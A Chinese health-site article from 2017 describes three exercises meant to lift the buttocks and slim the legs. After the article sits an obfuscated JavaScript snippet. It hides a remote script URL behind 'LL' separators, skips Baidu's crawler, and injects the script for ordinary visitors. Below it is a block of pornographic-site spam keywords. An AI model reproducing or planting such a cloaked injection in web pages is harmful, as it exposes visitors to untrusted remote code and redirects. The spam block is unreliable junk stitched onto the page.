當前位置:首頁 > 健康 > 運動健身 > 正文

提臀瘦腿方法有哪些?

2017-04-14 21:13:45  來源:360常識網   熱度:
導語:擁有一個翹屁股和纖細的腿,是很多女性所向往的,所以有些女性雖然很瘦,但是屁股的形狀卻不是那么的好看,會使女性缺乏自信,穿衣服會很不

擁有一個翹屁股和纖細的腿,是很多女性所向往的,所以有些女性雖然很瘦,但是屁股的形狀卻不是那么的好看,會使女性缺乏自信,穿衣服會很不好看,那么要如何很好的進行幫助女性提臀瘦腿的呢?小編搜集了一些關于提臀瘦腿的方法,有需要的人可以跟隨小編進行了解下哦。

第一式:

坐在地上,雙腳伸直,背向后靠,以手肘作支撐,手放在髖部,如圖(A)。下背部壓向地面,用腹部的力量,抬起雙腿到45度。腳趾向前,讓腳面與小腿呈直線,兩腿并攏,順時針畫12個圈,如圖(B),然后再逆時針畫12個圈。

這個動作既可以收腹,又可以瘦腿哦。

第二式:

兩手分別拿起一個5-15磅重的啞鈴,以右腳作支撐,左腳放在身后幾英寸處,如圖(A)。保持背部挺直,髖部向前傾斜,知道身體差不多與地面水平,啞鈴與肩膀在一條線上,如圖(B)?;謴偷介_始的位置,這是一個完整的動作。做12個動作,然后換腿練習。

這個動作可以把腹部、腰部、臀部、腿部的肥肉一網打盡。

第三式:

雙腿向外打開45度,兩腳距離寬于髖部,然后身體蹲下,如圖(A)。從那個姿勢開始,左腳向外跨出,保持蹲坐的姿勢,如圖(B)。向右跨一步,恢復開始位置。繼續橫著跨步,先向右跨10步,再向左跨10步。

這個動作對腹部和腿部的減肥都很有好處哦。

現在大家看到小編上述介紹的關于幫助女性提臀瘦腿的方法后,女性在平時的時候,要多注意多做一些身體的鍛煉,特別是對于一些經常坐著工作的女性,不要長期的進行坐著,坐的時間就的話,就會使屁股又大又扁。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
九九线精品视频在线观看| 久久成人国产精品| 国产精品亚洲成在人线| 久久免费精品视频| 无码aⅴ精品一区二区三区浪潮| 热re99久久精品国99热| 精品高潮呻吟99av无码视频| 无码人妻精品内射一二三AV | 久久精品国产亚洲Aⅴ蜜臀色欲| 久久久久久噜噜精品免费直播| 亚洲精品夜夜夜妓女网| 人妻精品久久无码专区精东影业| 亚洲精品无码久久久久久久| 高清精品一区二区三区一区| 国产成人久久精品麻豆二区| 国产玖玖玖九九精品视频| 久久精品国产亚洲麻豆| 亚洲美女精品视频| 国产精品美女一区二区三区| 丁香六月婷婷精品免费观看| 99精品视频免费| 久久久无码精品亚洲日韩蜜臀浪潮| 国产精品久久久久久久人人看 | 精品人妻va出轨中文字幕| 69精品久久久久| 国产精品亚洲专区无码WEB | 国内精品伊人久久久久av一坑| 久久午夜精品视频| 久久99热这里只有精品66| 国产精品一区二区四区| 97久久精品国产精品青草| 99re热久久精品这里都是精品| 亚洲av永久中文无码精品综合| 亚洲精品无码99在线观看| 国产l精品国产亚洲区在线观看| 亚洲国产精品综合久久20| 国产精品久久久久久久久电影网| 人妻少妇精品一区二区三区| 亚洲综合一区二区精品久久| 国产成人福利精品视频| 久久精品道一区二区三区|